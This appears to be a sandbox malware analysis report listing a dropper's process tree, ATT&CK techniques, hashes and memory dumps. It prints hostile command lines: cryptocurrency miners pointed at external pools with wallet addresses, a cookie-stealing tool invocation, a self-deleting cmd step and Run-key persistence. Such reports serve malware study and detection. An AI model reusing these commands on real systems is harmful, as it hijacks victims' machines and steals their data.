C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3964 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3700 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2100 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2120 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5312 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5404 /prefetch:86⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\433A.tmp.exe"C:\Users\Admin\AppData\Roaming\433A.tmp.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\4677.tmp.exe"C:\Users\Admin\AppData\Roaming\4677.tmp.exe"5⤵
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 99996⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"4⤵
-
C:\ProgramData\4906469.exe"C:\ProgramData\4906469.exe"5⤵
-
C:\ProgramData\2837158.exe"C:\ProgramData\2837158.exe"5⤵
- Suspicious behavior: SetClipboardViewer
-
C:\ProgramData\4279222.exe"C:\ProgramData\4279222.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7315A54C87410FDF5CF0C0924E7B14B9 C2⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F09940D23690559B9253B63FBB2AF2422⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default3⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--anbfs"4⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exeC:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x1c0,0x1e4,0x1e8,0x198,0x1ec,0x7ffe6dc89ec0,0x7ffe6dc89ed0,0x7ffe6dc89ee05⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exeC:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x148,0x14c,0x150,0x124,0x154,0x7ff686c44e60,0x7ff686c44e70,0x7ff686c44e806⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1692,10134340777933304402,2733469672467503280,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4528_1072271316" --mojo-platform-channel-handle=1764 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1692,10134340777933304402,2733469672467503280,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4528_1072271316" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1688 /prefetch:25⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1692,10134340777933304402,2733469672467503280,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4528_1072271316" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2572 /prefetch:15⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1692,10134340777933304402,2733469672467503280,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4528_1072271316" --mojo-platform-channel-handle=2104 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,10134340777933304402,2733469672467503280,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4528_1072271316" --mojo-platform-channel-handle=2744 /prefetch:85⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXE9DB0.bat" "3⤵
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1\AIPACK~1.EXE"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXE9DB0.bat"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXE9DB0.bat" "4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" cls"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXE9E3D.bat" "3⤵
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap09011⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install1⤵
- Loads dropped DLL
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{67ca70dd-910f-7b4f-8a45-ef055f028572}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000017C"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
- Checks SCSI registry key(s)
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\is-N4N3L.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-N4N3L.tmp\Setup3310.tmp" /SL5="$B0660,138429,56832,C:\Users\Admin\AppData\Local\Temp\xjkvz5xgmyl\Setup3310.exe" /Verysilent /subid=5771⤵
-
C:\Users\Admin\AppData\Local\Temp\is-AMM0T.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-AMM0T.tmp\Setup.exe" /Verysilent2⤵
- Drops file in Program Files directory
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\2CD0.exeC:\Users\Admin\AppData\Local\Temp\2CD0.exe1⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\ef91561d-6d25-4285-bf2b-b6a2d4a5b75f" /deny *S-1-1-0:(OI)(CI)(DE,DC)2⤵
- Modifies file permissions
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\5C0F.exeC:\Users\Admin\AppData\Local\Temp\5C0F.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Registry Run Keys / Startup Folder
1Scheduled Task
1Hidden Files and Directories
1Defense Evasion
File Permissions Modification
1Modify Registry
3Install Root Certificate
1Hidden Files and Directories
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.datMD5
7cfae794f9703755e7fc9082737a0608
SHA1aacbad96c0215bd7763763efe9bbca51921c7fc6
SHA256b6b0e1251c2a55442f83d87a1feb15a1ebf61bc9e677d46d3ea41a27f23b593f
SHA512fdd38347c4f5588ade07ef170563998887fc50aa6024f144b0f99758b059f11ea5090cd7bfcbce457ca4923d489a5f78ddcb4fce562c58792d8aa2515db3b009
-
\??\pipe\crashpad_4968_XKGPEWBGXLOHWXUAMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\pipe\crashpad_616_QEKMSKNNIRFDFZESMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/8-700-0x0000000000400000-0x00000000014A7000-memory.dmpFilesize
16.7MB
-
memory/296-746-0x0000024E07440000-0x0000024E074A7000-memory.dmpFilesize
412KB
-
memory/296-541-0x0000024E06D90000-0x0000024E06E0B000-memory.dmpFilesize
492KB
-
memory/388-248-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-256-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-238-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-247-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-244-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-236-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-235-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-234-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-233-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-232-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-231-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-230-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-229-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-243-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-227-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-226-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-254-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-260-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-263-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-262-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-261-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-259-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-258-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-257-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-241-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-255-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-253-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-252-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-251-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-249-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-239-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-246-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-242-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-228-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-237-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-178-0x0000000000000000-mapping.dmp
-
memory/388-240-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-245-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/388-250-0x00000266D37B0000-0x00000266D37B00F8-memory.dmpFilesize
248B
-
memory/496-784-0x000002C143D10000-0x000002C143D77000-memory.dmpFilesize
412KB
-
memory/496-571-0x000002C143E20000-0x000002C143E9B000-memory.dmpFilesize
492KB
-
memory/512-155-0x0000000000000000-mapping.dmp
-
memory/520-151-0x0000000000000000-mapping.dmp
-
memory/636-7-0x0000000000000000-mapping.dmp
-
memory/848-452-0x0000000004980000-0x0000000004981000-memory.dmpFilesize
4KB
-
memory/848-460-0x0000000004980000-0x0000000004981000-memory.dmpFilesize
4KB
-
memory/960-935-0x00000000022C0000-0x00000000022C2000-memory.dmpFilesize
8KB
-
memory/960-930-0x00007FFE64DD0000-0x00007FFE65770000-memory.dmpFilesize
9.6MB
-
memory/988-366-0x0000000000770000-0x0000000000771000-memory.dmpFilesize
4KB
-
memory/1084-564-0x000001EA370C0000-0x000001EA3713B000-memory.dmpFilesize
492KB
-
memory/1084-761-0x000001EA37140000-0x000001EA371A7000-memory.dmpFilesize
412KB
-
memory/1156-355-0x00000000029A0000-0x00000000029A2000-memory.dmpFilesize
8KB
-
memory/1156-353-0x00007FFE64DD0000-0x00007FFE65770000-memory.dmpFilesize
9.6MB
-
memory/1156-448-0x00000000029A4000-0x00000000029A5000-memory.dmpFilesize
4KB
-
memory/1172-15-0x0000000000000000-mapping.dmp
-
memory/1188-860-0x0000000000400000-0x00000000015D7000-memory.dmpFilesize
17.8MB
-
memory/1188-865-0x0000000034851000-0x000000003493A000-memory.dmpFilesize
932KB
-
memory/1188-864-0x0000000033C91000-0x0000000033E10000-memory.dmpFilesize
1.5MB
-
memory/1188-859-0x00000000018E0000-0x00000000018E1000-memory.dmpFilesize
4KB
-
